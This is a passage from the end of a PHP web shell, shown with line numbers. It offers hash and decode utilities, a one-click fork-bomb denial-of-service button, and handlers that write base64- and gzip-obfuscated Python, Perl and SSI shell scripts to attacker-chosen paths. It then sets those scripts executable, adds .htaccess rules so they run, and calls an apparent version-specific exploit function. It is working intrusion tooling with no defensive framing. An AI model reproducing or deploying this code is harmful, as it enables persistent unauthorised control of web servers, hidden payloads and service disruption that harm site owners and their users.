1688 $text=entitydec($text);
1689 break;
1690 case 'md5':
1691 $text=md5($text);
1692 break;
1693 case 'md5md5':
1694 $text=md5(md5($text));
1695 break;
1696 case 'sha1':
1697 $text=sha1($text);
1698 break;
1699 case 'mysql5':
1700 $text='*'.strtoupper(sha1(sha1($text,TRUE)));
1701 break;
1702 }
1703 $text=htmlentities($text);
1704 echo("$text</textarea><br>");
1705 }
1706 //decoders end
1707 echo '<br><font color="blue">---> DoS</font><font color="gray"> //use this carefully</font><br><br>';
1708 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="e"><input name="extraz" type="hidden" value="fork"><input type="submit" value="forkbomb"></form>';
1709 }
1710 if (!empty($_POST["extraz"])) {
1711 switch ($_POST["extraz"]) {
1712 case "fork":
1713 while(pcntl_fork()|1);
1714 break;
1715 case "pysh":
1716 //code by Michael Foord & 12309, license WTFPL
1717 if ($failflag=="1") {
1718 $pybin="/usr/bin/python";
1719 } else {
1720 $pybin=search("python",$failflag);
1721 }
1722 $pyshcode='#!'.$pybin;
1723 $pyshcode.="\n";
1724 $pyshcode.=gzinflate(base64_decode("bVRRT9swEH7Pr7jlpa0IKWObtLGmUoEClWBFbR82QRW5idNaS+LIdqBl2n/fnZ10BfGU3N33fXc+n8+o3ZkHoqikMpCshVl9d5+Ql2yV827P49uEVwZRFdPaa6B6pwMCBiC1h0aoTcqVgggaQ9bGy5QswIiCtwm0URnZrYpRLOErlvx20LlRolxPpi28tRuhFtyGK4yaGMvzRIZlYMVPQsky3DAd/+a7rj+/mE3uF/GP0d3Y7+EBdKJEZUqGBUUHhIdXwKXHc83fon3fS3kGa24yqYruE8trngttAjAbTq4ASmkqxTUvTdTpULqUGYbUP389QARkgucpiBL2ZMQAlo7EVmVfuwWTCFiZB2svUe1/Fow1lVoVMLuKdxudBt+DD5HzPyyd2Bu11/DQVkawvbArViO0YFU3Z8UqZbA9g63DBm8Ueu/kcAoeKG5qVdqg17A2nKW2uf7gZnF3OxzcjEeXw8FisrgdD9ELR4e3cERAOAYGF9cTWO3gqn552RWsDKCuUJan5Px4+unk26DvNAZ9p3g+vfxFgt5KpjteUtLOoG+9CKHUHQ/HF0viWtvg+XAuC242OIDwjN2GZ5yUNXJQbDYc3M/GSMG2xzHVFscQISuOCybKOO7Qa6HpBP9Clgbpx3QLZ2D41vQ3psj9BmBHo8CM+JbCK2rZ3EjF1vTw2gFqh+6hkxRpZxmQgVHsIdoYt+12sTbtQX+91mgafTWd3cHdeHEzvYwe/fvpfPHoA0uMkGX0fsuHA1FWtQHyIAUTIYPOgwYdCC0tXsj6fPLou/44RgPS9aoQBLOjgI5r2eL6VI69mdeVezTS7oQ0hy5Gt9IJGndgb9CpLMY/F6PZeASJzHXkfz3xQcln/Dv94uM14duwaw4g2Yg8jXE9CRyavYG7yi2ESla8PO26BL03hDDJpbb3AjjLus6JdKgRKmx39zWN3Ac8dw7HpvdrVyuM7QcvIAD36hxsP5DkyjBZuw8PtGj94bLIeZRZJ81LFuLE2FZ3e6GucmFyUXLtWLSJyKRFxNwTd9nIedDpfttT6p9zNm/H+wc="));
1725 $htaccess=$htaccesses['cgi'];
1726 if (strnatcmp(version(),"5.2.9") <= 0) {
1727 sploent516();
1728 }
1729 $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
1730 if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
1731 else {
1732 fwrite($fh,$pyshcode);
1733 fclose($fh);
1734 echo $_POST["file"]." write done, chmoding..<br>";
1735 $ch=chmod($_POST["dir"]."/".$_POST["file"], 0755);
1736 if (!$ch) {
1737 echo "chmod failed, make chmod 755 manually<br>";
1738 } else {
1739 echo "chmod done<br>";
1740 }
1741 if ($_POST["htaccess"] == "on") {
1742 $fh=fopen($_POST["dir"]."/.htaccess","w");
1743 fwrite($fh,$htaccess);
1744 fclose($fh);
1745 echo "htaccess done";
1746 }
1747 }
1748 break;
1749 case "perlsh":
1750 //author/license unknown
1751 if ($failflag=="1") {
1752 $perlbin="/usr/bin/perl";
1753 } else {
1754 $perlbin=search("perl",$failflag);
1755 }
1756 $perlshcode='#!'.$perlbin;
1757 $perlshcode.="\n";
1758 $perlshcode.=gzinflate(base64_decode("TVFLTwIxEL73V4wNMSXZFdSYGBY2QQ7E+DioRxKtu7PSpNuubRdQ5L87XYR4m3bme8w3rUeYzW/hcz1IjX3dLEOtYeSDNKV05SBj7X5gNJpJ19CYqGSQ2r/YG2fXHl0/Y41TJsASZYlOpMVSOo8BJjnwNlTpNe8njAhdeI3kItXSfHRd1/IE0qCCxu7NiUtVIKCRTtaiD33YsvoLeiuY/P3xFT8K9lYJ8PG7yxeGZ91cUDXalqThcpgxbQupofd8O99O758edvTt23fYQqEtLXU3fTwwcSCCUiHwPwaewS5jvUaVBLINGkHTpEZOLvLTc/iJLjpAIc0bWTk5IxPQGo3eg4hAGsAV6W+Z1NLV4mDuaL+zPg64oWhQQmG1nyz49XDBISZL9cXVgufkbL1UGgWMyUMeM4GOgCwemQYHmjySEmSvOSSxf8vu2AGxP0dlXZ2wCK0U6lKkRtY4ySljOotX31RTkFTTHi3uL5TEDGsVBJ/beFg0ZUcDVHT3pbU31I7Svw=="));
1759 $htaccess=$htaccesses['cgi'];
1760 if (strnatcmp(version(),"5.2.9") <= 0) {
1761 sploent516();
1762 }
1763 $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
1764 if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
1765 else {
1766 fwrite($fh,$perlshcode);
1767 fclose($fh);
1768 echo $_POST["file"]." write done, chmoding..<br>";
1769 $ch=chmod($_POST["dir"]."/".$_POST["file"], 0755);
1770 if (!$ch) {
1771 echo "chmod failed, make chmod 755 manually<br>";
1772 } else {
1773 echo "chmod done<br>";
1774 }
1775 if ($_POST["htaccess"] == "on") {
1776 $fh=fopen($_POST["dir"]."/.htaccess","w");
1777 fwrite($fh,$htaccess);
1778 fclose($fh);
1779 echo "htaccess done";
1780 }
1781 }
1782 break;
1783 case "ssish":
1784 // code by profexer
1785 $ssishcode=gzinflate(base64_decode("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"));
1786 $htaccess=$htaccesses['ssi'];
1787 if (strnatcmp(version(),"5.2.9") <= 0) {
1788 sploent516();
1789 }
1790 $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
1791 if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
1792 else {
1793 fwrite($fh,$ssishcode);
1794 fclose($fh);
1795 echo $_POST["file"]." write done<br>";
1796 if ($_POST["htaccess"] == "on") {
1797 $fh=fopen($_POST["dir"]."/.htaccess","w");
1798 fwrite($fh,$htaccess);
1799 fclose($fh);
1800 echo "htaccess done";
1801 }
1802 }
1803 break;
1804 }
1805 }
1806 break;
1807// extras end ###
1808 case "pi":
1809 phpinfo();
1810 break;
1811}
1812// :)
1813?>